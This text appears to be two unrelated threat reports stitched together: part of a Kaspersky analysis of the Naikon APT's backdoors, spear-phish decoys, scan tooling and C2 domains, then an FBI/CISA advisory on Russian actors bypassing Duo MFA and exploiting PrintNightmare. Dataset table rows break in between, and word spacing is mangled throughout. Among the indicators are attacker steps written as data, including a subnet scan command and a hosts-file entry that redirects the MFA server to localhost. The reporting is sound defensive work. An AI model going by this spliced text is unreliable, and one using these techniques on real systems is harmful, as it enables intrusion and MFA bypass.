The documents are all written and formatted with aspe- cially developed Myanmar2 True Type font, demonstrating thefocus onpolitically- connected, native Myanmar speakers as targets.
This font isnot delivered by default with Microsoft Office.
Instead, it must have been specifically installed by theattackers and then by thevictims, otherwise thedocuments would not have displayed properly.
The backdoor maintains multiple primitive functionalities.
Setting aWH_CBT Windows hook forfull activity spying (sslMM does not maintain thishooking functionality): File search and capture Process creation Keystroke capture The backdoor isusually configured with primary and backup domains forC2 communications, although there are multiple known samples that maintain an IP address or only asingle domain forcommunications with no backup.
Communication isbuilt to appear as though aweb browser issimply making arequest to aremote web server.
Some of these backdoors are configured touseanunusual port forencrypted communications.
The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White14 For full indicator and other details, please contact intelreportskaspersky.com exe_exchange (used inattacks prior to 2012) MD5 Filename File Size Compilation date Linker version 6a82c153bd370250cc2fed89f1bb5c91 - temp\services.exe 69,632 bytes 2012-03-13 07:54:19 6.0 INJECTv1/INJECTRESOURCE MD5 Filename File Size Compilation date Linker version b295274423c91ad9e254475bf8edd459 - wmiprive.exe 159,744 bytes May 27, 2013 The xsPlus/nokian backdoor and keylogger MD5 Filename File Size Compilation date Linker version d86106faaa398b8d83437176bf5e39c4 281,624 bytes 2011.12.19 08:06:30 6.0 In 2014 theNaikon gang was found to be using another tool that maintains an internal name xsPlus and xsControl.
This builder and its backdoors produce components with theNOKIAN95/WEBx user-agent strings, forwhich there are multiple versions.
|
162
|
Win32.Agentb.iqj Backdoor.
| 34,885
| 34,966
| 82
|
data/reports_final/0162.txt
|
Win32.Agentb.iqj Backdoor.
Win32.MsnMM.p UDS:DangerousObject.
Multi.
Generic Trojan.
Win32.Agentb.jwp According to KSN (Kaspersky Security Network) data, almost all of thevictims attacked with this backdoor are based inMyanmar, or were Myanmar delegates travelling through theother countries like theUS, forexample.
Some of thevictims were located inVietnam and Singapore.
Victim profiles range from global political representatives and local IT service companies, to government ministries controlling media and news content, university students, and local law enforcement agencies.
WininetMM/Sakto MD5 Filename File Size Compilation date Linker version 516f64dd4fce3b9a325ea8501f97a88a 95,744 bytes 2014.11.03 07:59:14 9.0 The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White18 For full indicator and other details, please contact intelreportskaspersky.com SECOND STAGE TOOLS Most of theNaikon APTs second stage tools detected onvictim networks are publicly- available.
Some are very common system administration tools and utilities, and some are less publicly-available custom written scanners and tools available through Chinese hacking forums.
Their ability to move through networks undisturbed appears to have matured over time, demonstrating that they are aseasoned team: Windows system utilities: ftp.exe, systeminfo.exe, ipconfig, net view, ping, netstat -ano, net use, quser, tasklist, netsh interface ip, netsh interface show, netsh advfirewall firewall, reg export, AT Sysinternals: procmon.exe, tcpview.exe, procexep.exe, psexec Prosolve: winscan.exe Rarlabs: rar.exe Other: procex.exe, nc.exe, xscan.exe, winscanx.exe, hscan120.rar package (includes mysql.exe and sqlcmd.exe), cutfile.exe, tftp.exe, Win7 elevation of privilege and UAC bypass, ReadPSW.exe (password stealer) The Naikon APT frequently used acustom backdoor that appears to be an HDoor variant, based onold Honker Union code like hscan v120.
For example, once onavictim network, one of thefirst steps isto run thehdoor -hbs scan to identify target local network hosts.
Alternatively, it may show up onvictim networks and berun with along list of parameters: lms.dat -hscan 192.168.0.1-192.168.0.254 /a The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White19 For full indicator and other details, please contact intelreportskaspersky.com CUSTOM HDOOR MD5 Filename File Size Compilation date Detection Name bf6d3f52ab8176122be858ddccc22148 - lms.dat 56 kb 2015.05.20 HackTool.
Win32.Agent.whj The Naikon APTs custom-built HDoor tool isarobust reconnaissance tool forlateral movement, supporting theidentification of, interfacing with and attacking of multiple technologies and resources: host, user, group, and related authentication resources and cracking/brute forcing capabilities network asset scanning and identification, including SQL database, embedded network devices like home or SMB routers, and other common network services fake service listener to sniff traffic disk wiping safe delete with multiple overwrites process management local filetime modifier SQL administration toolset SOCKS5 proxy service banner-based scanner AV killer Publicly-available hd.exe (40138f3db14e6e137f8d0bdcbb5851d8), as posted by NCPH: The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White20 For full indicator and other details, please contact intelreportskaspersky.com The corresponding hbs.txt output file content that issometimes left behind onvictim systems: The operators scanning issomewhat inconsistent.
They will scan foraspecific set ofports that include 21,22,80,3389,1433,3306, and 389.
Sometimes, they add 139 and 445 to theend of that list.
Often, they check foraPortString, or banner, which isoutput to atxt file: [10.1.1.2 ]: Port 22 Open SSH-1.99-Cisco-1.25 [10.1.1.3 ]: Port 21 Open 220-FileZilla Server version 0.9.41 beta [10.1.1.4 ]: Port 21 Open 220 Lexmark X860de FTP Server NP.APS.N332a ready.
[
10.1.1.5 ]: Port 22 Open SSH-2.0-OpenSSH_5.8 [10.1.1.6 ]: Port 22 Open SSH-2.0-dropbear_0.48 [10.1.1.7 ]: Port 21 Open 220 Service ready fornew user [10.1.1.8 ]: Port 21 Open 220 Microsoft FTP Service (Version 5.0).
[
10.1.1.8 ]: Port 80 Open [10.1.1.8 ]: Port 3389 Open [10.1.1.8 ]: Port 139 Open [10.1.1.9 ]: Port 21 Open 220 fima FTP server (SunOS 5.8) ready.
[
10.1.1.10 ]: Port 21 Open 220 (vsFTPd 2.0.5) [10.1.1.13 ]: Port 21 Open 220 EthernetBoard OkiLAN 8100e Ver 02.15 FTP server.
[
10.1.1.15 ]: Port 22 Open SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.1 [10.1.1.21 ]: Port 80 Open http://10.1.1.21/cgi-bin/webproc Dlink WIRELESS AP The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White21 For full indicator and other details, please contact intelreportskaspersky.com TARGET AND VICTIM PROFILES Target profiles included high profile government and military agencies around theSouthChina Sea: Law enforcement Government executive, administrative, regulatory Military operations centers Economic administration State media Public/Private energy Shared Victims with Cycldek and Comparing Lateral Movement with Cycldek The Cycldek APT appeared to follow an operational script across victim systems.
Itcreated or used c:\intel onthevictim hard disk to unpack tools and compress/ archive stolen victim files and data with Winrar, like c:\intel\1.rar.
Some of these victim systems were occupied by both theCycldec and Naikon attackers.
The Cycldek attackers maintained this c:\intel directory and its subdirectories as asort of staging point.
This mirrors what we have seen with Naikon directory setup onsome victims.
a set of subdirectories stolen files forexfiltration operational logs process logs Cycldek tools and their config files The Naikon APT and Cycldek APT also share acommon attraction to Honker Union codebase.
The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White22 For full indicator and other details, please contact intelreportskaspersky.com SPEAR-PHISH, DROPPED FILES, WEBBROWSER INJECTION The common sequence of events onavulnerable system falling forrelated spear- phish attacks led to anewly-created Internet Explorer process running with execution transferred to additionally loaded executable code, usually profile.dat, maintaining theconnectback C2 communication code and data.
In this instance, anaikon backdoor was delivered initially as apart of asmall package of objects.
The exploit attachment dropped iph.bat, iExplorer.exe, and aclean decoy document.
The exploit executed this batch file, which inturn executed iExplorer.exe and opened adecoy document from temp.
The iExplorer.exe process wrote out aprofile.dat file, launched thelegitimate Internet Explorer, and injected the.dat file into this newlycreated browser process.
It transfered control to theinjected .dat code and terminated itself.
The .dat code then connected with ahardcoded C2 from within Internet Explorer, acommon technique forevading any outbound traffic firewall issues.
The full email spear-phish and other decoy documents content presented here display thecampaigns focus onASEAN targets that line up with theMsnMM campaigns.
Example spear-phish and dropped sequence forNOKIAN95/WEB sent to web email service provider users intheUS and Southeastern Asian region: Example Word document decoy The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White23 For full indicator and other details, please contact intelreportskaspersky.com Example details, exhibiting thecommon sequence of events onsystems: c334737ea5e8f74567bfdc2fce6717b9,2 SpecialServices.doc Drops temp\iph.bat c8ed40879e1e3352692fe8c765294955,temp\svchost.exe c8ed40879e1e3352692fe8c765294955,C:\WINDOWS\ system32\ymsgr_tray.exe C2: frankhere.oicp.net:443 1b37457632840b04bf03e0745e51e573,readme.rtf Drops temp\iph.bat temp\iExplorer.exe WMcal 6cbc73fae7118dbd0fae328ce8ee6050,iExplorer.exe,Trojan- Downloader.
Win32.Cordmix.cu C2: phsenator.vicp.net C2: goihang.vicp.net:443 The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White24 For full indicator and other details, please contact intelreportskaspersky.com Example decoy Word document cb72e70378755f1e8ab744a5b5e692bd,Asias Military Developments.doc (ripped from Australian Strategic Policy Institute blog post located here http://www.aspistrategist.
org.au/asias-military-developments/) 638c119a82a1b1d470e42e2e9712f3fb,iph.bat 79de618615e139053ad92ca1e7bb7456,C:\Documents and Settings\user\Local Settings\ Temp\mshtml.dat 4299846c34fddda2f5a75239f8aca424,C:\DOCUME1\user\LOCALS1\Temp\upd.exe Rpcss a3b3a32b6f67e4629133cc4578230efe,C:\WINDOWS\system32\msictl.exe C2: us.googlereader.pw:443 http://www.aspistrategist.org.au/asias-military-developments/ http://www.aspistrategist.org.au/asias-military-developments/ The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White25 For full indicator and other details, please contact intelreportskaspersky.com Example decoy pdf targeting Myanmar government 5f1f6fb3cea3e9c3bd84909b7d37aa8d, knu president speech on65th anniversary of karen resistance day _burmese language_?fdp.scr indicates RTLO naming, appeared to thetarget as pdf knu president speech on65th anniversary of karen resistance day _burmese language_rcs.pdf 55b8b8779001b7e78a6adc55fb546401,C:\DOCUME1\user\LOCALS1\Temp\update.exe 8660193a90e70f19a4419ae09306761f,C:\DOCUME1\user\LOCALS1\Temp\adobe.pdf C2: ubaoyouxiang.gicp.net The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White26 For full indicator and other details, please contact intelreportskaspersky.com Example decoy Word document targeting PH gov 27ed7c7dd840ff7936418cf029d56603, AFP Summary.doc temp\iph.bat ceb6e4499cfd8650f3e94fbcf7de48f6,temp\iExplorer.exe WMcal b6424852dd0187ea554a1cbc4e3490f3,temp\profile.dat C2: ttteco.vicp.net Many of these backdoors were delivered by simply binding decoy pdfs to aNaikon backdoor and sending this bundle to target addresses.
Here isaMarch 2014 spear-phish email with thesubject line Fw: Fw: tape transcript formh370 (3bed6788753690762c7d15a3247d8301): The tape transcript.zip (5de5aa40eb3d30df2053a38bc26963b5) file contains both apdf file and aNaikon dropper name 24march_final_TAPE TRANSC1 detected asTrojan-Dropper.
Win32.Injector.kasl (4972c7205e3279322637f609b9199e97).
Thedropper maintains aclean copy of this decoy pdf that opens onexecution, [as well as?]
theNaikon backdoor (ab0185f3dc730af754559297f6f47492) and accompanying mshtml.dat component (03A3251BDE74DF30AB5BF0B730E08C8D) The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White27 For full indicator and other details, please contact intelreportskaspersky.com that communicates with C2 xl.findmy.pw.
This dropper isbuilt with theattackers pdfBind 2012 tool.
Once extracted to disk, you can see that theicon was replaced fortheexecutable with an Adobe pdf icon.
Lots of users fall forthis sort of trick when file extensions are not visible: The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White28 For full indicator and other details, please contact intelreportskaspersky.com APPENDIX A: MsnMM SPEAR-PHISH ANDDECOY CONTENT Image 1.
ICJs verdict owed respect 17 Apr 2013.doc Image 2.
FDI Law Weeding Menu.doc The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White29 For full indicator and other details, please contact intelreportskaspersky.com Image 3.
Danh sach dai bieu HNHTDMNC tai TPHCM.doc Image 4.
Thein Sein first European tour.doc Image 5.
ASEAN and Partners Firmly Committed To Narrowing Development Gap.doc The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White30 For full indicator and other details, please contact intelreportskaspersky.com Image 6.
ALP Statement onPresent Illegal Bangali Problem inside Arakan.doc Image 7.
ISEAS Perspective 29nov12.doc The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White31 For full indicator and other details, please contact intelreportskaspersky.com Image 8.
Learning Journal ASC 13-1_1.doc (related to http://www.apcss.org/wp-content/uploads/2013/01/finalfinalhandbookJan13.pdf, http://www.apcss.org/) Image 9.
unnamed.jpg 48c2d02c443d70fe004a2d6fb9439f76, cve-2012-0158, mau van ban.doc or 2013_ thong tin gia dinh.doc, delivered to VN targets http://www.apcss.org/wp-content/uploads/2013/01/finalfinalhandbookJan13.pdf http://www.apcss.org/ The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White32 For full indicator and other details, please contact intelreportskaspersky.com winMM-related Dropped Decoy Documents Image 1.
book form fornaning 30-8.doc (dropped by 448cd7c3ae0ae445d805a4849fe5e120) The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White33 For full indicator and other details, please contact intelreportskaspersky.com Image 2.
Unknown.
Dropped by 748c4761822dc7076399922df58551ae The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White34 For full indicator and other details, please contact intelreportskaspersky.com Image 3.
fact sheet asean-us (president office format).doc Dropped by fact sheet asean-us (president office format).doc .exe 6803bd509d36d2b99049fcc9d975a21c Image 4.
Trade and Investment (english).doc Dropped by b049fdeeb707e86e5e334f72cd50ffd8 trade and investment (english).doc .exe The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White35 For full indicator and other details, please contact intelreportskaspersky.com Image 5.
List of Attendance.doc Dropped by F14C42765F130EE6DEC3A87DC50A47E1 Image 6.
talking point english(english).doc Dropped by talking point english(english).doc .exe, 800116c4fe842768a0e1acbc72c8cd62 The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White36 For full indicator and other details, please contact intelreportskaspersky.com Image 7.
talking point myanmar (21-3-2013).docx Dropped by talking point myanmar (21-3-2013).docx .exe 416e6c9105139080310984ed06f6a57b Image 8.
Unknown.
Dropped by 6758fc7e483ad9cd6280bcc3f4d85222 The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White37 For full indicator and other details, please contact intelreportskaspersky.com Image 9.
tp forvp with swiss_myanmar[1].doc Dropped by tp forvp with swiss_myanmar[1].doc .exe 90E9BDFC1FC6FE5999B047880C7445AE Image 10.
Unknown.
Dropped by 7F422B43EEB93B230FF7553C841C4785 The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White38 For full indicator and other details, please contact intelreportskaspersky.com Image 11.
Unknown.
Dropped by 1d6258bc3688226e7cb56fb821215a8b Image 12.
Unknown.
Dropped by 7a9712cbb3e340e577ce0320cceeb05f The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White39 For full indicator and other details, please contact intelreportskaspersky.com Image 13.
tp forec (myanmar).doc Dropped by tp forec (myanmar).doc .exe, 9f23c0aed27f0874308bbd5f173ed85b Image 14.
trade and investment (english).doc Dropped by trade and investment (english).doc .exe, dabba458b13cb676406c2bb219af9f81 The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White40 For full indicator and other details, please contact intelreportskaspersky.com Image 15.
11th bcim fapc memo.doc Dropped by 11th bcim fapc memo.doc .exe, d57a7369d79467d7c768bb08febcc6a2 Image 16.
(
r) final h.e remarks.doc Dropped by (r) final h.e remarks.doc .exe, 7c0676d950a1443e98b7d5b4727923ea The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White41 For full indicator and other details, please contact intelreportskaspersky.com Image 17.
lo list(26-8-2013).docx Dropped by lo list(26-8-2013).docx .exe, 55048b78e9549c462c1463f7648454a5 Image 18.
company lists.doc Dropped by company lists.doc .exe, 113822c9bfeed38c099ae9004f1d8404 The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White42 For full indicator and other details, please contact intelreportskaspersky.com Image 19.
sightseeing tour inbagan.doc Dropped by sightseeing tour inbagan.doc .exe, 21119ddd01694bb9181286b52cf1203c Image 20.
Ns admin.docx Dropped by ns admin.docx .exe, 6f9b6adbb33b7c8912aa2e5ae1c39f7a The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White43 For full indicator and other details, please contact intelreportskaspersky.com APPENDIX B: KASPERSKY LAB VERDICT NAMES Components related to theNaikon APT are detected under arange of verdict names.
|
163
|
Backdoor.
| 35,000
| 35,245
| 246
|
data/reports_final/0163.txt
|
Backdoor.
Win32.Agent.bjer Backdoor.
Win32.Agent.dcyv Backdoor.
Win32.Agent.dfbk Backdoor.
Win32.Agent.dgpd Backdoor.
Win32.Zegost.
Backdoor.
Win32.Zegost.aekr Trojan.
Win32.Agent.
Trojan.
Win32.Agent.acflt Trojan.
Win32.Agent.acfma Trojan.
Win32.Agent.adddt Trojan.
Win32.Agent.hofz Trojan.
Win32.Agent.siai Trojan.
Win32.Agent.spde Trojan.
Win32.Agent.tlhi Trojan.
Win32.Agent.tpbo Trojan.
Win32.Agent.unhn Trojan.
Win32.Agent.xikp Trojan.
Win32.Agentb.
Trojan.
Win32.Agentb.bbca Trojan.
Win32.Agentb.bphx Trojan.
Win32.Agentb.iqj Trojan.
Win32.Agentb.jwp Trojan-Downloader.
Win32.Agent.
Trojan-Downloader.
Win32.Agent.gxqe Trojan-Downloader.
Win32.Agent.zzrd Trojan-Spy.
Win32.Agent.
Trojan-Spy.
Win32.Agent.chrj Trojan-Spy.
Win32.Agent.chuq Trojan-Spy.
Win32.Agent.cibn Trojan-Spy.
Win32.Agent.cicz Trojan-Spy.
Win32.Agent.ciet Trojan-Spy.
Win32.Agent.cifj Trojan-Spy.
Win32.Agent.ciry Trojan-Spy.
Win32.Agent.ciiu Trojan-Spy.
Win32.Agent.cita The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White45 For full indicator and other details, please contact intelreportskaspersky.com Trojan-Spy.
Win32.Agent.cjez Trojan-Spy.
Win32.Agent.cjkg Trojan-Spy.
Win32.Agent.cjmv Trojan.
Win32.Pincav.
Trojan.
Win32.Pincav.cngx Trojan.
Win32.Sasfis.
Trojan.
Win32.Sasfis.dmmt Trojan-Dropper.
MSIL.Agent.
Trojan-Dropper.MSIL.Agent.aidh Trojan-Dropper.
Win32.Dycler.
Trojan-Dropper.
Win32.Dycler.ssr Trojan-Dropper.
Win32.Dycler.sss Trojan-Dropper.
Win32.Injector.
Trojan-Dropper.
Win32.Injector.jujl Trojan-Dropper.
Win32.Injector.kblf Trojan-Dropper.
Win32.Injector.kbre Trojan.
Win32.Zapchast.
Trojan.
Win32.Zapchast.aerr Trojan.
Win32.Zapchast.aest Trojan.
Win32.Zapchast.aetr Trojan.
Win32.Zapchast.aety Trojan.
Win32.Zapchast.aevb Trojan.
Win32.Zapchast.aevg Trojan.
Win32.Zapchast.afma Trojan.
Win32.Zapchast.afcz HEUR:Trojan.
Win32.Generic HEUR:Trojan.
Win32.Invader The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White46 For full indicator and other details, please contact intelreportskaspersky.com APPENDIX C: MD5 REFERENCE SET SslMM 469ca0c73398903908babcad14300d8d 95c4a236faa65b75dbb0076d8248584c WinMM c8c81cca4645e71213f2310cec6c277d 45a99f60654f22b671aec980687d0f15 WininetMM/Sakto 9883abc829870478ce6f3cfddbcbbaf2 a5721c5e7f2b49df82595819b5a49c0c Injectv1/InjectResource 5c04904a50f0285851fb7292c13858ec Exe_Exchange 6a82c153bd370250cc2fed89f1bb5c91 48fb78e8ba531505e246760c0d02d6b0 The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White47 For full indicator and other details, please contact intelreportskaspersky.com Sys10 c58df5892700ac3f467524f86bf325c0 33d388c6e841ede3920f79516b5da032 xsPlus (nokian) and plugin d86106faaa398b8d83437176bf5e39c4 041436594c1ce9e99c569fb7402fe0c7 d0fba5db608ac8f5a3d05a71ceb0eca1 The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White48 For full indicator and other details, please contact intelreportskaspersky.com APPENDIX D: C2 (DOMAIN) REFERENCE SET ahzx.eicp.net bkav.imshop.in googlemm.vicp.net mncgn.51vip.biz myanmartech.vicp.net thailand.vicp.net ubaoyouxiang.gicp.net vietnam.gnway.net The MsnMM Campaigns The Earliest Naikon APT Campaigns TLP White49 For full indicator and other details, please contact intelreportskaspersky.com DailyBusinessAcademyThreatPostEugeneSecureList Securelist, the resource for KasperskyLab experts techni- calresearch, analysis, and thoughts.
Follow us Kaspersky Lab global Website DailyBusinessAcademyThreatPostEugene Eugene Kaspersky Blog Daily Kaspersky Lab B2C Blog DailyBusiness Kaspersky Lab B2B Blog DailyBusinessAcademyThreatPost Kaspersky Lab security news service DailyBusinessAcademy Kaspersky Lab Academy https://securelist.com/ https://securelist.com/ https://twitter.com/Securelist https://www.facebook.com/securelist http://www.kaspersky.com/ http://www.kaspersky.com/ http://eugene.kaspersky.com/ http://eugene.kaspersky.com/ http://blog.kaspersky.com/ http://blog.kaspersky.com/ http://business.kaspersky.com/ http://business.kaspersky.com/ https://threatpost.com/ https://threatpost.com/ http://academy.kaspersky.com/ http://academy.kaspersky.com/ Kaspersky Lab HQ 39A/3 Leningradskoe Shosse Moscow, 125212 Russian Federation more contact details Tel: 7-495-797-8700 Fax: 7-495-797-8709 http://www.kaspersky.com/about/contactinfo/contacts_global_hq
Product ID: AA22-074A March 15, 2022 TLP:WHITE fbi.gov/contact-us/field-offices, CyWatchfbi.gov.
reportcisa.gov.
cisa.gov/tlp/.
TLP:WHITE Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and PrintNightmare Vulnerability SUMMARY The Federal Bureau of Investigation (FBI) and Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint Cybersecurity Advisory (CSA) to warn organizations that Russian state-sponsored cyber actors have gained network access through exploitation of default MFA protocols and a known vulnerability.
As early as May 2021, Russian state-sponsored cyber actors took advantage of a misconfigured account set to default MFA protocols at a non-governmental organization (NGO), allowing them to enroll a new device for MFA and access the victim network.
The actors then exploited a critical Windows Print Spooler vulnerability, PrintNightmare (CVE-2021-34527) to run arbitrary code with system privileges.
Russian state-sponsored cyber actors successfully exploited the vulnerability while targeting an NGO using Ciscos Duo MFA, enabling access to cloud and email accounts for document exfiltration.
This advisory provides observed tactics, techniques, and procedures, indicators of compromise (IOCs), and recommendations to protect against Russian state-sponsored malicious cyber activity.
Multifactor Authentication (MFA): A Cybersecurity Essential MFA is one of the most important cybersecurity practices to reduce the risk of intrusionsaccording to industry research, users who enable MFA are up to 99 percent less likely to have an account compromised.
Every organization should enforce MFA for all employees and customers, and every user should sign up for MFA when available.
Organizations that implement MFA should review default configurations and modify as necessary, to reduce the likelihood that a sophisticated adversary can circumvent this control.
To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at or the FBIs 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at When available, please include the following information regarding the incident: date, time, and location of the incident type of activity number of people affected type of equipment used for the activity the name of the submitting company or organization and a designated point of contact.
To request incident response resources or technical assistance related to these threats, contact CISA at This document is marked TLP:WHITE.
Disclosure is not limited.
Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release.
Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
For more information on the Traffic Light Protocol, see http://www.fbi.gov/contact-us/field-offices mailto:CyWatchfbi.gov mailto:reportcisa.gov http://www.us-cert.gov/tlp/ FBI CISA TLP:WHITE Page 2 of 7 Product ID: AA22-074A TLP:WHITE FBI and CISA urge all organizations to apply the recommendations in the Mitigations section of this advisory, including the following: Enforce MFA and review configuration policies to protect against fail open and re-enrollment scenarios.
Ensure inactive accounts are disabled uniformly across the Active Directory and MFA systems.
Patch all systems.
Prioritize patching for known exploited vulnerabilities.
For more general information on Russian state-sponsored malicious cyber activity, see CISAs Russia Cyber Threat Overview and Advisories webpage.
For more information on the threat of Russian state- sponsored malicious cyber actors to U.S. critical infrastructure as well as additional mitigation recommendations, see joint CSA Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical Infrastructure and CISAs Shields Up Technical Guidance webpage.
For a downloadable copy of IOCs, see AA22-074A.stix.
TECHNICAL DETAILS Threat Actor Activity Note: This advisory uses the MITRE ATTCK for Enterprise framework, version 10.
See appendix A for a table of the threat actors activity mapped to MITRE ATTCK tactics and techniques.
As early as May 2021, the FBI observed Russian state-sponsored cyber actors gain access to an NGO, exploit a flaw in default MFA protocols, and move laterally to the NGOs cloud environment.
Russian state-sponsored cyber actors gained initial access [TA0001] to the victim organization via compromised credentials [T1078] and enrolling a new device in the organizations Duo MFA.
The actors gained the credentials [TA0006] via brute-force password guessing attack [T1110.001], allowing them access to a victim account with a simple, predictable password.
The victim account had been un-enrolled from Duo due to a long period of inactivity but was not disabled in the Active Directory.
As Duos default configuration settings allow for the re-enrollment of a new device for dormant accounts, the actors were able to enroll a new device for this account, complete the authentication requirements, and obtain access to the victim network.
Using the compromised account, Russian state-sponsored cyber actors performed privilege escalation [TA0004] via exploitation of the PrintNightmare vulnerability (CVE-2021-34527) [T1068] to obtain administrator privileges.
The actors also modified a domain controller file, c:\windows\system32\drivers\etc\hosts, redirecting Duo MFA calls to localhost instead of the Duo server [T1556].
This change prevented the MFA service from contacting its server to validate MFA loginthis effectively disabled MFA for active domain accounts because the default policy of Duo for Windows is to fail open if the MFA server is unreachable.
Note: Fail open can happen to any MFA implementation and is not exclusive to Duo.
After effectively disabling MFA, Russian state-sponsored cyber actors were able to successfully authenticate to the victims virtual private network (VPN) as non-administrator users and make Remote Desktop Protocol (RDP) connections to Windows domain controllers [T1133].
The actors ran https://www.cisa.gov/known-exploited-vulnerabilities-catalog https://www.cisa.gov/uscert/russia https://www.cisa.gov/uscert/russia https://www.cisa.gov/uscert/ncas/alerts/aa22-011a https://www.cisa.gov/uscert/ncas/alerts/aa22-011a https://www.cisa.gov/uscert/shields-technical-guidance https://www.cisa.gov/uscert/sites/default/files/publications/AA22-074A.stix.xml https://attack.mitre.org/versions/v10/tactics/TA0001/ https://attack.mitre.org/versions/v10/techniques/T1078/ https://attack.mitre.org/versions/v10/tactics/TA0006/ https://attack.mitre.org/versions/v10/techniques/T1110/001/ https://attack.mitre.org/versions/v10/tactics/TA0004/ https://nvd.nist.gov/vuln/detail/CVE-2021-34527 https://attack.mitre.org/versions/v10/techniques/T1068/ https://attack.mitre.org/versions/v10/techniques/T1556/ https://attack.mitre.org/versions/v10/techniques/T1133/ FBI CISA TLP:WHITE Page 3 of 7 Product ID: AA22-074A TLP:WHITE commands to obtain credentials for additional domain accounts then, using the method described in the previous paragraph, changed the MFA configuration file and bypassed MFA for these newly compromised accounts.
The actors leveraged mostly internal Windows utilities already present within the victim network to perform this activity.
Using these compromised accounts without MFA enforced, Russian state-sponsored cyber actors were able to move laterally [TA0008] to the victims cloud storage and email accounts and access desired content.
Indicators of Compromise Russian state-sponsored cyber actors executed the following processes: ping.exe A core Windows Operating System process used to perform the Transmission Control Protocol (TCP)/IP Ping command used to test network connectivity to a remote host [T1018] and is frequently used by actors for network discovery [TA0007].
regedit.exe A standard Windows executable file that opens the built-in registry editor [T1112].
rar.exe A data compression, encryption, and archiving tool [T1560.001].
Malicious cyber actors have traditionally sought to compromise MFA security protocols as doing so would provide access to accounts or information of interest.
ntdsutil.exe A command-line tool that provides management facilities for Active Directory Domain Services.
It is possible this tool was used to enumerate Active Directory user accounts [T1003.003].
Actors modified the c:\windows\system32\drivers\etc\hosts file to prevent communication with the Duo MFA server: 127.0.0.1 api-redacted.duosecurity.com The following access device IP addresses used by the actors have been identified to date: 45.32.137[.
]94 191.96.121[.
]162 173.239.198[.
]46 157.230.81[.
]39 MITIGATIONS The FBI and CISA recommend organizations remain cognizant of the threat of state-sponsored cyber actors exploiting default MFA protocols and exfiltrating sensitive information.
Organizations should: Enforce MFA for all users, without exception.
Before implementing, organizations should review configuration policies to protect against fail open and re-enrollment scenarios.
Implement time-out and lock-out features in response to repeated failed login attempts.
https://attack.mitre.org/versions/v10/tactics/TA0008/ https://attack.mitre.org/versions/v10/techniques/T1018/ https://attack.mitre.org/versions/v10/tactics/TA0007/ https://attack.mitre.org/versions/v10/techniques/T1112/ https://attack.mitre.org/versions/v10/techniques/T1560/001/ https://attack.mitre.org/versions/v10/techniques/T1003/003/ FBI CISA TLP:WHITE Page 4 of 7 Product ID: AA22-074A TLP:WHITE Ensure inactive accounts are disabled uniformly across the Active Directory, MFA systems etc.
Update software, including operating systems, applications, and firmware on IT network assets in a timely manner.
Prioritize patching known exploited vulnerabilities, especially critical and high vulnerabilities that allow for remote code execution or denial-of-service on internet- facing equipment.
Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to have strong, unique passwords.
Passwords should not be reused across multiple accounts or stored on the system where an adversary may have access.
Continuously monitor network logs for suspicious activity and unauthorized or unusual login attempts.
Implement security alerting policies for all changes to security-enabled accounts/groups, and alert on suspicious process creation events (ntdsutil, rar, regedit, etc.
).
Note: If a domain controller compromise is suspected, a domain-wide password resetincluding service accounts, Microsoft 365 (M365) synchronization accounts, and krbtgtwill be necessary to remove the actors access.
(
For more information, see https://docs.microsoft.com/en-us/answers/questions/87978/reset- krbtgt-password.html).
Consider soliciting support from a third-party IT organization to provide subject matter expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on exploitation.
FBI and CISA also recommend organizations implement the recommendations listed below to further reduce the risk of malicious cyber activity.
Security Best Practices Deploy Local Administrator Password Solution (LAPS), enforce Server Message Block (SMB) Signing, restrict Administrative privileges (local admin users, groups, etc.
),
and review sensitive materials on domain controllers SYSVOL share.
Enable increased logging policies, enforce PowerShell logging, and ensure antivirus/endpoint detection and response (EDR) are deployed to all endpoints and enabled.
Routinely verify no unauthorized system modifications, such as additional accounts and Secure Shell (SSH) keys, have occurred to help detect a compromise.
To detect these modifications, administrators can use file integrity monitoring software that alerts an administrator or blocks unauthorized changes on the system.
Network Best Practices Monitor remote access/RDP logs and disable unused remote access/RDP ports.
Deny atypical inbound activity from known anonymization services, to include commercial VPN services and The Onion Router (TOR).
Implement listing policies for applications and remote access that only allow systems to execute known and permitted programs under an established security policy.
